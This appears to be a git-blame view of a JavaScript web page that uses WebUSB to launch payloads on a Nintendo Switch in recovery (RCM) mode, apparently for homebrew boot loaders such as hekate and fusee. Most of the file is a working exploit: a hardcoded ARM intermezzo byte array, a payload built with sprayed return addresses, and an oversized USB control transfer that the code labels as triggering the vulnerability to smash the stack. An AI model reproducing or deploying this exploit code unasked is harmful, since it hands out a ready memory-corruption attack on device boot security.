2018-04-27 22:54:46 +00:00
const intermezzo = new Uint8Array ( [
2018-04-27 23:26:15 +00:00
0x44 , 0x00 , 0x9F , 0xE5 , 0x01 , 0x11 , 0xA0 , 0xE3 , 0x40 , 0x20 , 0x9F , 0xE5 , 0x00 , 0x20 , 0x42 , 0xE0 ,
0x08 , 0x00 , 0x00 , 0xEB , 0x01 , 0x01 , 0xA0 , 0xE3 , 0x10 , 0xFF , 0x2F , 0xE1 , 0x00 , 0x00 , 0xA0 , 0xE1 ,
0x2C , 0x00 , 0x9F , 0xE5 , 0x2C , 0x10 , 0x9F , 0xE5 , 0x02 , 0x28 , 0xA0 , 0xE3 , 0x01 , 0x00 , 0x00 , 0xEB ,
0x20 , 0x00 , 0x9F , 0xE5 , 0x10 , 0xFF , 0x2F , 0xE1 , 0x04 , 0x30 , 0x90 , 0xE4 , 0x04 , 0x30 , 0x81 , 0xE4 ,
0x04 , 0x20 , 0x52 , 0xE2 , 0xFB , 0xFF , 0xFF , 0x1A , 0x1E , 0xFF , 0x2F , 0xE1 , 0x20 , 0xF0 , 0x01 , 0x40 ,
0x5C , 0xF0 , 0x01 , 0x40 , 0x00 , 0x00 , 0x02 , 0x40 , 0x00 , 0x00 , 0x01 , 0x40
2018-04-27 22:54:46 +00:00
] ) ;
const RCM _PAYLOAD _ADDRESS = 0x40010000 ;
const INTERMEZZO _LOCATION = 0x4001F000 ;
const PAYLOAD _LOAD _BLOCK = 0x40020000 ;
function createRCMPayload ( intermezzo , payload ) {
const rcmLength = 0x30298 ;
const intermezzoAddressRepeatCount = ( INTERMEZZO _LOCATION - RCM _PAYLOAD _ADDRESS ) / 4 ;
const rcmPayloadSize = Math . ceil ( ( 0x2A8 + ( 0x4 * intermezzoAddressRepeatCount ) + 0x1000 + payload . byteLength ) / 0x1000 ) * 0x1000 ;
const rcmPayload = new Uint8Array ( new ArrayBuffer ( rcmPayloadSize ) )
const rcmPayloadView = new DataView ( rcmPayload . buffer ) ;
rcmPayloadView . setUint32 ( 0x0 , rcmLength , true ) ;
for ( let i = 0 ; i < intermezzoAddressRepeatCount ; i ++ ) {
rcmPayloadView . setUint32 ( 0x2A8 + i * 4 , INTERMEZZO _LOCATION , true ) ;
}
rcmPayload . set ( intermezzo , 0x2A8 + ( 0x4 * intermezzoAddressRepeatCount ) ) ;
rcmPayload . set ( payload , 0x2A8 + ( 0x4 * intermezzoAddressRepeatCount ) + 0x1000 ) ;
return rcmPayload ;
}
function bufferToHex ( data ) {
let result = "" ;
for ( let i = 0 ; i < data . byteLength ; i ++ )
result += data . getUint8 ( i ) . toString ( 16 ) . padStart ( 2 , "0" ) ;
return result ;
}
async function write ( device , data ) {
let length = data . length ;
let writeCount = 0 ;
const packetSize = 0x1000 ;
while ( length ) {
const dataToTransmit = Math . min ( length , packetSize ) ;
length -= dataToTransmit ;
const chunk = data . slice ( 0 , dataToTransmit ) ;
data = data . slice ( dataToTransmit ) ;
await device . transferOut ( 1 , chunk ) ;
writeCount ++ ;
}
return writeCount ;
}
function readFileAsArrayBuffer ( file ) {
return new Promise ( ( res , rej ) => {
const reader = new FileReader ( ) ;
reader . onload = e => {
res ( e . target . result ) ;
}
reader . readAsArrayBuffer ( file ) ;
} ) ;
}
function logOutput ( ... message ) {
2018-05-19 09:29:53 +00:00
document . getElementById ( "output" ) . innerHTML = document . getElementById ( "output" ) . innerHTML + message . join ( " " ) + "<br>" ;
2018-04-27 22:54:46 +00:00
}
2018-05-17 21:55:01 +00:00
function clearLog ( ) {
2018-05-19 09:29:53 +00:00
document . getElementById ( "output" ) . innerHTML = "" ;
2018-05-17 21:55:01 +00:00
}
2018-04-27 23:25:39 +00:00
let device ;
2018-04-27 22:54:46 +00:00
async function launchPayload ( payload ) {
await device . open ( ) ;
logOutput ( ` Connected to ${ device . manufacturerName } ${ device . productName } ` ) ;
await device . claimInterface ( 0 ) ;
const deviceID = await device . transferIn ( 1 , 16 ) ;
logOutput ( ` Device ID: ${ bufferToHex ( deviceID . data ) } ` ) ;
const rcmPayload = createRCMPayload ( intermezzo , payload ) ;
logOutput ( "Sending payload..." ) ;
const writeCount = await write ( device , rcmPayload ) ;
logOutput ( "Payload sent!" ) ;
if ( writeCount % 2 !== 1 ) {
logOutput ( "Switching to higher buffer..." ) ;
await device . transferOut ( 1 , new ArrayBuffer ( 0x1000 ) ) ;
}
logOutput ( "Trigging vulnerability..." ) ;
const vulnerabilityLength = 0x7000 ;
const smash = await device . controlTransferIn ( {
requestType : 'standard' ,
recipient : 'interface' ,
request : 0x00 ,
value : 0x00 ,
index : 0x00
} , vulnerabilityLength ) ;
}
document . getElementById ( "goButton" ) . addEventListener ( "click" , async ( ) => {
2018-05-17 21:57:06 +00:00
clearLog ( ) ;
2018-05-17 13:34:55 +00:00
var debugCheckbox = document . getElementById ( "shouldDebug" ) ;
2018-05-17 13:37:57 +00:00
const payloadType = document . forms . mainForm . payload . value ;
2018-05-17 13:33:47 +00:00
if ( debugCheckbox . checked ) {
2018-05-17 15:06:12 +00:00
logOutput ( "Logging payload bytes..." ) ;
2018-05-17 13:40:52 +00:00
let payload ;
2018-05-17 21:11:31 +00:00
if ( payloadType === "hekate v5" ) {
2018-05-17 18:21:59 +00:00
payload = hekate5 ;
2018-05-17 21:11:31 +00:00
} else if ( payloadType === "hekate v4" ) {
2018-05-17 18:29:26 +00:00
payload = hekate4 ;
2018-05-17 21:30:13 +00:00
} else if ( payloadType === "fusee" ) {
payload = fusee ;
2018-05-19 09:19:51 +00:00
} else if ( payloadType === "instaboot" ) {
payload = instaboot ;
2018-05-17 13:40:52 +00:00
} else if ( payloadType === "uploaded" ) {
const file = document . getElementById ( "payloadUpload" ) . files [ 0 ] ;
if ( ! file ) {
alert ( "You need to upload a file, to use an uploaded file." ) ;
return ;
2018-05-17 13:37:57 +00:00
}
2018-05-17 13:40:52 +00:00
payload = new Uint8Array ( await readFileAsArrayBuffer ( file ) ) ;
} else {
logOutput ( "You're trying to load a payload type that doesn't exist." ) ;
return ;
}
2018-05-17 18:05:21 +00:00
var payloadToLog = "" ;
for ( var i = 0 ; i < payload . length ; i ++ ) {
payloadToLog += "0x" + payload [ i ] . toString ( 16 ) + ", " . toUpperCase ( ) ;
}
2018-05-17 18:12:23 +00:00
payloadToLog = payloadToLog . toUpperCase ( ) ;
2018-05-17 17:23:12 +00:00
logOutput ( payloadToLog ) ;
2018-05-17 15:06:12 +00:00
return ;
2018-05-17 13:29:39 +00:00
}
2018-04-27 23:25:39 +00:00
logOutput ( "Requesting access to device..." ) ;
device = await navigator . usb . requestDevice ( { filters : [ { vendorId : 0x0955 } ] } ) ;
2018-05-19 05:07:43 +00:00
logOutput ( ` <span style='color:blue'>Preparing to launch ${ payloadType } ...</span> ` ) ;
2018-05-17 18:29:26 +00:00
2018-04-27 22:54:46 +00:00
let payload ;
2018-05-18 05:28:13 +00:00
if ( payloadType === "hekate v5" ) {
2018-05-17 18:12:23 +00:00
payload = hekate5 ;
2018-05-18 05:28:13 +00:00
} else if ( payloadType === "hekate v4" ) {
2018-05-17 18:29:26 +00:00
payload = hekate4 ;
2018-05-17 21:30:13 +00:00
} else if ( payloadType === "fusee" ) {
payload = fusee ;
2018-05-19 09:19:51 +00:00
} else if ( payloadType === "instaboot" ) {
payload = instaboot ;
2018-04-27 22:54:46 +00:00
} else if ( payloadType === "uploaded" ) {
const file = document . getElementById ( "payloadUpload" ) . files [ 0 ] ;
if ( ! file ) {
alert ( "You need to upload a file, to use an uploaded file." ) ;
return ;
}
payload = new Uint8Array ( await readFileAsArrayBuffer ( file ) ) ;
} else {
2018-05-18 05:35:44 +00:00
logOutput ( "<p style='color:red'>You're trying to load a payload type that doesn't exist.</p>" ) ;
2018-04-27 22:54:46 +00:00
return ;
}
launchPayload ( payload ) ;
} ) ;
2018-05-18 04:45:09 +00:00
function openInfo ( ) {
2018-05-18 04:24:33 +00:00
if ( document . getElementById ( "infodiv" ) . innerHTML != "" ) {
document . getElementById ( "infodiv" ) . innerHTML = "" ;
} else {
2018-05-18 04:56:31 +00:00
document . getElementById ( "infodiv" ) . innerHTML = "<h4>Info:</h4><p>This is moderately tested. Although no issues have been discovered, I'm not responsible if anything goes wrong!</p><p>This does NOT work on Windows due to a limitation in the Chrome implementation of WebUSB (and probably other reasons!)</p><p>This does NOT currently work on any browser but Chrome, because they don't implement WebUSB.</p><p>On Linux, you might get an access denied error!If you do, you can try creating a file at <code>/etc/udev/rules.d/50-switch.rules</code>With the following contents:<br><code>SUBSYSTEM==\"usb\", ATTR{idVendor}==\"0955\", MODE=\"0664\", GROUP=\"plugdev\"</code></p><p>Hekate for 4.x has not been tested, as I do not have a 4.x switch. However, all other payloads will be tested as they are uploaded.</p><p>This has been tested and appears to work on Linux, OSX, Android (unrooted) and Chromebooks. Your mileage may vary.</p>" ;
2018-05-18 04:24:33 +00:00
}
}
2018-05-18 04:45:09 +00:00
function openInstructions ( ) {
if ( document . getElementById ( "infodiv" ) . innerHTML != "" ) {
document . getElementById ( "infodiv" ) . innerHTML = "" ;
} else {
document . getElementById ( "infodiv" ) . innerHTML = "<h4>Instructions:</h4><p>Put the Switch in RCM, and connect it to your device.</p><p>Select either the example payload, or upload one.</p><p>Press 'Run Payload!'</p><p>On the consent screen that appears, select 'APX' and hit confirm.</p><p>If all goes well, the payload will launch!</p>" ;
2018-05-18 05:16:22 +00:00
}
2018-05-18 04:45:09 +00:00
}
2018-05-18 04:24:33 +00:00
2018-05-18 05:16:22 +00:00
document . getElementById ( "payloadUpload" ) . addEventListener ( "change" , ( ) => document . forms . mainForm . payload . value = "uploaded" ) ;